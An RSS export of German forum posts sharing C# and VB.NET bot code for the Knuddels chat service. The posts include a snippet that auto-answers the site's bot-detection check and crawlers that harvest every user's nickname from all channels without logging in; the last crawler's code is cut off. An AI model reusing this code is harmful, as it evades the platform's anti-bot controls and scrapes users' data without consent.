      ...]]></description>
			<content:encoded><![CDATA[<div>[highlight=VB]<br />
If token.StartsWith(&quot;r&quot;) Then<br />
            'Botkontrolle<br />
            If token.Contains(&quot;Überprüfung auf Bot-Benutzung&quot;) Then<br />
                Dim Answer As Match = Regex.Match(token, &quot;/ok (.*)&quot;)<br />
                Threading.Thread.Sleep(New Random().Next(4, 6) * 1000)<br />
                client.SendMessage(Answer.ToString)<br />
            End If<br />
End If<br />
[/highlight]<br />
<br />
Hoffe es hilft jemanden, denke aber mal schon, da ja jemand danach fragte ;).</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>xDream</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-botkontrolle-beantworten-31409</guid>
		</item>
		<item>
			<title>C# kndlCrawler (crawling without account)</title>
			<link>sourcecode-91/c-kndlcrawler-crawling-without-account-31988?goto=newpost</link>
			<pubDate>Wed, 22 Jun 2011 15:38:39 GMT</pubDate>
			<description>Hi, 
 
mein c# crawler für knuddels mit ein paar schönen console highlights. 
Crawlt alle nicks aus jedem channel und speichert sie falls gewünscht...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
mein c# crawler für knuddels mit ein paar schönen console highlights.<br />
Crawlt alle nicks aus jedem channel und speichert sie falls gewünscht anschließen in eine .txt.<br />
<br />
Crawler.cs<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Threading;<br />
using System.Text.RegularExpressions;<br />
using System.IO;<br />
using System.Diagnostics;<br />
using mLib;<br />
<br />
namespace kndlCrawler<br />
{<br />
  class Program<br />
  {<br />
    private static readonly Regex channelListParse = new Regex(&quot;\0(&#91;a-zA-Z0-9+!\\-&quot; &#93;+?)\n(&#91;0-9&#93;+?)\0&quot;, RegexOptions.Compiled);<br />
    private static readonly Regex nickParse = new Regex(&quot;°&gt;_h(.+?)\\|/serverpp &quot;\\|/w &quot;&lt;°&quot;, RegexOptions.Compiled);<br />
<br />
    private static AutoResetEvent autoEventPopup;<br />
    private static AutoResetEvent autoEventConnected;<br />
    private static AutoResetEvent autoEventCrawling;<br />
<br />
    private static int subChanCount = 1;<br />
    private static Client client = new Client();<br />
<br />
    private static Channel lastCrawledChan = new Channel();<br />
    private static List&lt;Channel&gt; channels = new List&lt;Channel&gt;();<br />
    private static List&lt;Channel&gt; crawledChannels = new List&lt;Channel&gt;();<br />
    private static List&lt;Nickname&gt; crawledNicknames = new List&lt;Nickname&gt;();<br />
<br />
    static void Main(string&#91;&#93; args)<br />
    {<br />
      Console.WriteLine(&quot;Choose chatsystem:\n&quot;);<br />
      RemoteEndpoint remoteEndPoint = GetRemoteEndPointInput();<br />
      ConsoleStuff.ClearLastConsoleLines(2);<br />
      Console.CursorVisible = false;<br />
      Console.WriteLine(&quot;Chatsystem: {0}&quot;, remoteEndPoint);<br />
      Console.WriteLine(&quot;Connecting to {0}:{1} &#91;{2}&#93;..&quot;, Client.GetHost(remoteEndPoint), Client.GetPort(remoteEndPoint), remoteEndPoint);<br />
<br />
      Stopwatch sw = new Stopwatch();<br />
      sw.Start();<br />
<br />
      autoEventCrawling = new AutoResetEvent(false);<br />
      Thread waitThread = ConsoleStuff.PrintWait();<br />
      client.onReceive += OnReceive;<br />
      client.Connect(remoteEndPoint);<br />
      autoEventCrawling.WaitOne();<br />
      waitThread.Abort();<br />
<br />
      sw.Stop();<br />
      Console.WriteLine(&quot;Crawled {0} nicknames in {1} channels in {2} seconds. :)&quot;, crawledNicknames.Count, channels.Count, sw.ElapsedMilliseconds / 1000);<br />
<br />
      string saveContent = String.Empty;<br />
      if (ConsoleStuff.YesNoAsk(&quot;Save crawled nicknames?  &#91;&quot;crawlednicknames.txt&quot;&#93;&quot;))<br />
      {<br />
        foreach (Nickname nickname in crawledNicknames)<br />
        {<br />
            saveContent += String.Format(&quot;{0} | {1}\n&quot;, nickname.Name, nickname.Channel);<br />
        }<br />
        File.WriteAllText(&quot;crawlednicknames.txt&quot;, saveContent);<br />
      }<br />
<br />
      saveContent = String.Empty;<br />
      if (ConsoleStuff.YesNoAsk(&quot;Save crawled channels? &#91;&quot;crawledchannels.txt&quot;&#93;&quot;))<br />
      {<br />
        foreach (Channel channel in crawledChannels)<br />
        {<br />
          saveContent += String.Format(&quot;{0} | {1} | {2}\n&quot;, channel.Name, channel.UserCount, channel.Nicknames.Count);<br />
        }<br />
        File.WriteAllText(&quot;crawledchannels.txt&quot;, saveContent);<br />
      }<br />
      Console.WriteLine(&quot;Done. :)&quot;);<br />
      Console.ReadLine();<br />
    }<br />
<br />
    private static void OnReceive(Client client, string token)<br />
    {<br />
      string&#91;&#93; tokens = token.Split('\0');<br />
<br />
      switch (tokens&#91;0&#93;)<br />
      {<br />
        case &quot;b&quot;:<br />
          if (autoEventConnected != null)<br />
            autoEventConnected.Set();<br />
<br />
          if (channels.Count == 0)<br />
          {<br />
            channels = ParseChannels(token);<br />
            new Thread(delegate() { CrawlNicks(client); }).Start();<br />
          }<br />
          break;<br />
<br />
        case &quot;k&quot;:<br />
          if (tokens&#91;1&#93;.StartsWith(lastCrawledChan.Name))<br />
          {<br />
            List&lt;Nickname&gt; parsedNicks = new List&lt;Nickname&gt;();<br />
            parsedNicks.AddRange(ParseNicks(tokens&#91;7&#93;));<br />
<br />
            crawledNicknames.AddRange(parsedNicks);<br />
            lastCrawledChan.Nicknames = parsedNicks;<br />
            crawledChannels.Add(lastCrawledChan);<br />
            autoEventPopup.Set();<br />
          }<br />
          break;<br />
      }<br />
    }<br />
<br />
    private static void CrawlNicks(Client client)<br />
    {<br />
      foreach (Channel channel in channels)<br />
      {<br />
        Console.Write(&quot;Crawling channel &quot;{0}&quot;.. &quot;, channel.Name);<br />
        while (!crawledChannels.Contains(channel))<br />
        {<br />
          if (!client.IsConnected())<br />
          {<br />
            client.ReConnect();<br />
            autoEventConnected = new AutoResetEvent(false);<br />
            autoEventConnected.WaitOne();<br />
          }<br />
<br />
          client.Send(String.Format(&quot;r\0{0}&quot;, channel.Name));<br />
          lastCrawledChan = channel;<br />
          autoEventPopup = new AutoResetEvent(false);<br />
          autoEventPopup.WaitOne(2222);<br />
        }<br />
        Console.Write(&quot;Crawled {0} nicks.\n&quot;, lastCrawledChan.Nicknames.Count);<br />
      }<br />
<br />
      autoEventCrawling.Set();<br />
    }<br />
<br />
    private static List&lt;Nickname&gt; ParseNicks(string nicksstring)<br />
    {<br />
      List&lt;Nickname&gt; retVal = new List&lt;Nickname&gt;();<br />
      foreach (Match m in nickParse.Matches(nicksstring))<br />
      {<br />
        if (m.Success &amp;&amp; m.Groups.Count == 2 &amp;&amp; !String.IsNullOrEmpty(m.Groups&#91;1&#93;.Value))<br />
        {<br />
          if (m.Groups&#91;1&#93;.Value != client.Butler)<br />
            retVal.Add(new Nickname(m.Groups&#91;1&#93;.Value.Replace(&quot;\&quot;, &quot;&quot;), lastCrawledChan.Name));<br />
        }<br />
      }<br />
<br />
      return retVal;<br />
    }<br />
<br />
    private static List&lt;Channel&gt; ParseChannels(string token)<br />
    {<br />
      List&lt;Channel&gt; retVal = new List&lt;Channel&gt;();<br />
<br />
      foreach (Match m in channelListParse.Matches(token))<br />
      {<br />
        if (m.Success &amp;&amp; m.Groups.Count == 3)<br />
        {<br />
          string channame = m.Groups&#91;1&#93;.Value;<br />
<br />
          if (!string.IsNullOrEmpty(channame))<br />
          {<br />
            if (channame == &quot;&quot;&quot;)<br />
            {<br />
              channame = String.Format(&quot;{0} {1}&quot;, retVal.ElementAt(retVal.Count - subChanCount).Name, ++subChanCount);<br />
            }<br />
            else<br />
            {<br />
              subChanCount = 1;<br />
            }<br />
            retVal.Add(new Channel(channame, int.Parse(m.Groups&#91;2&#93;.Value), new List&lt;Nickname&gt;()));<br />
          }<br />
        }<br />
      }<br />
<br />
      return retVal;<br />
    }<br />
<br />
    private static RemoteEndpoint GetRemoteEndPointInput()<br />
    {<br />
      List&lt;string&gt; retVal = new List&lt;string&gt;();<br />
      string&#91;&#93; remoteEndPoints = Enum.GetNames(typeof(RemoteEndpoint));<br />
      for (int i = 0; i &lt; remoteEndPoints.Length; i++)<br />
      {<br />
        retVal.Add(String.Format(&quot;{0} &#91;{1}:{2}&#93;&quot;, remoteEndPoints&#91;i&#93;, Client.GetHost((RemoteEndpoint)i), Client.GetPort((RemoteEndpoint)i)));<br />
      }<br />
<br />
      return (RemoteEndpoint)ConsoleStuff.PrintMenu(retVal);<br />
    }<br />
<br />
<br />
  }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
ConsoleStuff.cs<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Threading;<br />
<br />
namespace kndlCrawler<br />
{<br />
  class ConsoleStuff<br />
  {<br />
    public static bool YesNoAsk(string question)<br />
    {<br />
      ConsoleKeyInfo key = new ConsoleKeyInfo();<br />
      while (key.Key != ConsoleKey.Y &amp;&amp; key.Key != ConsoleKey.N)<br />
      {<br />
        Console.Write(&quot;{0} (Y/N) &quot;, question);<br />
        key = Console.ReadKey();<br />
        Console.Write(&quot;\n&quot;);<br />
      }<br />
      return key.Key == ConsoleKey.Y;<br />
    }<br />
<br />
    public static int PrintMenu(List&lt;string&gt; menuItems)<br />
    {<br />
      ConsoleKeyInfo key = new ConsoleKeyInfo();<br />
      Console.TreatControlCAsInput = true;<br />
      Console.CursorVisible = false;<br />
<br />
      int selected = 0;<br />
<br />
      while (key.Key != ConsoleKey.Enter)<br />
      {<br />
        if (key.Key == ConsoleKey.UpArrow &amp;&amp; selected == 0)<br />
          selected = menuItems.Count;<br />
        if (key.Key == ConsoleKey.DownArrow &amp;&amp; selected == menuItems.Count - 1)<br />
          selected = -1;<br />
        if (key.Key == ConsoleKey.UpArrow &amp;&amp; selected &gt; 0)<br />
          selected -= 1;<br />
        if (key.Key == ConsoleKey.DownArrow &amp;&amp; selected &lt; menuItems.Count - 1)<br />
          selected += 1;<br />
<br />
        for (int i = 0; i &lt; menuItems.Count; i++)<br />
        {<br />
          if (i == selected)<br />
          {<br />
            Console.WriteLine(&quot;&#91;x&#93; {0}&quot;, menuItems&#91;i&#93;);<br />
          }<br />
          else<br />
          {<br />
            Console.WriteLine(&quot;&#91; &#93; {0}&quot;, menuItems&#91;i&#93;);<br />
          }<br />
        }<br />
        key = Console.ReadKey();<br />
        ClearLastConsoleLines(menuItems.Count);<br />
      }<br />
<br />
      Console.CursorVisible = true;<br />
      return selected;<br />
    }<br />
<br />
    public static void ClearLastConsoleLines(int count)<br />
    {<br />
      int cursorTop = Console.CursorTop;<br />
<br />
      if (count == cursorTop || count == 0)<br />
      {<br />
        Console.Clear();<br />
      }<br />
      else if (count &lt; cursorTop &amp;&amp; count &gt; 0)<br />
      {<br />
        string clearString = new String(' ', Console.WindowWidth * count);<br />
<br />
        Console.SetCursorPosition(0, cursorTop - count);<br />
        Console.Write(clearString);<br />
        Console.SetCursorPosition(0, cursorTop - count);<br />
      }<br />
    }<br />
<br />
    public static Thread PrintWait()<br />
    {<br />
      Thread t = new Thread(delegate()<br />
      {<br />
        char&#91;&#93; waitstring = new char&#91;&#93; { '|', '/', '-', '\\' };<br />
        int charcount = 0;<br />
        while (true)<br />
        {<br />
          Console.Write(waitstring&#91;charcount&#93;);<br />
          Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
          if (charcount + 1 &gt;= waitstring.Length)<br />
            charcount = 0;<br />
          else<br />
            charcount++;<br />
          Thread.Sleep(100);<br />
        }<br />
      });<br />
      t.Start();<br />
      return t;<br />
    }<br />
  }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Channel.cs<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
namespace kndlCrawler<br />
{<br />
  class Channel<br />
  {<br />
    public string Name { get; set; }<br />
    public int UserCount { get; set; }<br />
    public List&lt;Nickname&gt; Nicknames { get; set; }<br />
<br />
    public Channel()<br />
    {<br />
<br />
    }<br />
<br />
    public Channel(string name, int userCount, List&lt;Nickname&gt; nicks)<br />
    {<br />
      Name = name;<br />
      UserCount = userCount;<br />
      Nicknames = nicks;<br />
    }<br />
  }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Nickname.cs<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
namespace kndlCrawler<br />
{<br />
  class Nickname<br />
  {<br />
    public string Name { get; set; }<br />
    public string Channel { get; set; }<br />
<br />
    public Nickname(string name, string channel)<br />
    {<br />
      Name = name;<br />
      Channel = channel;<br />
    }<br />
  }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Screens von der Console:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7481&amp;d=1397101755" border="0" alt="Name:  consolemenuzuv4.png
Hits: 180
Größe:  11,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Hier lässt sich mit den CursorTasten ein Chatsystem aus dem RemoteEndPoint Enum auswählen.<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7482&amp;d=1397101766" border="0" alt="Name:  crawlinggpnjf.png
Hits: 169
Größe:  16,9 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Beim crawlen.<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7483&amp;d=1397101776" border="0" alt="Name:  consoleynxunr.png
Hits: 179
Größe:  25,0 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Nach dem crawlen.<br />
<br />
Das ganze läuft mit einer &quot;mLib&quot; - die KNLib nur für MFC optimiert.<br />
Mit einer richtigen applet.jar funktioniert es auch wunderbar mit knuddels.<br />
Wegen der KNLib natürlich ein big thanks an flav. :)<br />
<br />
Hier das ganze als download (mLib.dll + kndlCrawler.exe mit m90aca als applet - die aktuelle mfc version):<br />
<br />
<a href="http://www.file-upload.net/download-3528193/kndlCrawler.rar.html" target="_blank" rel="nofollow">Klick :)</a><br />
<br />
Have fun.<br />
<br />
-aspire</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7481&amp;stc=1&amp;d=1397101755" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7482&amp;stc=1&amp;d=1397101766" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7483&amp;stc=1&amp;d=1397101776" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>aspire</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-kndlcrawler-crawling-without-account-31988</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Knuddels Crawler ohne Login]]></title>
			<link>sourcecode-91/c-knuddels-crawler-ohne-login-31012?goto=newpost</link>
			<pubDate>Wed, 22 Jun 2011 15:15:30 GMT</pubDate>
			<description><![CDATA[Wie der Titel bereits sagt, ein Crawler, der von allen Channels (b-Token) die Nicks crawled, natürlich ohne James. 
 
Ausgabe in der Konsole: 
>>>...]]></description>
			<content:encoded><![CDATA[<div>Wie der Titel bereits sagt, ein Crawler, der von allen Channels (b-Token) die Nicks crawled, natürlich ohne James.<br />
<br />
Ausgabe in der Konsole:<br />
&gt;&gt;&gt; UserList vom Channel &lt;CHANNEL&gt;.<br />
&gt;&gt;&gt; USER1, USER2, USER3, ... (&lt;ANZAHL&gt; Nicks)<br />
<br />
Wenn nur James im Channel ist, erscheint:<br />
&gt;&gt;&gt; UserList vom Channel &lt;CHANNEL&gt;.<br />
&gt;&gt;&gt; UserList vom Channel &lt;NEXT CHANNEL&gt;.<br />
...<br />
<br />
Das Speichern der Nicks habe ich nicht eingebaut, könnt ihr selber machen. :P<br />
<br />
Program.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">RegularExpressions</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">KCrawler<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;client&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">Applet&nbsp;applet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">channels&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">crawledNicks&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Gay&nbsp;Crawl"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Magenta</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">crawledNicks&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">applet&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">client&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(</span><span style="color: #0000BB">applet</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">OnTokenReceived&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ReceivedHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">client_OnTokenReceived</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Verbinde&nbsp;mich&nbsp;zum&nbsp;Knuddels.de&nbsp;Chat!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;ex</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Eine&nbsp;Ausnahme&nbsp;ist&nbsp;aufgetreten:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ex</span><span style="color: #007700">.</span><span style="color: #0000BB">Message</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">channels&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">100</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Channel&nbsp;channel&nbsp;in&nbsp;channels</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">Send</span><span style="color: #007700">(</span><span style="color: #DD0000">"r\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">.</span><span style="color: #0000BB">ChannelName</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"UserList&nbsp;vom&nbsp;Channel&nbsp;{0}."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">.</span><span style="color: #0000BB">ChannelName</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">3000</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Bla,&nbsp;ihr&nbsp;könnt&nbsp;die&nbsp;Nicks&nbsp;dann&nbsp;speichern...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;client_OnTokenReceived</span><span style="color: #007700">(</span><span style="color: #0000BB">KSClient&nbsp;KSC</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string&nbsp;token</span><span style="color: #007700">)<br 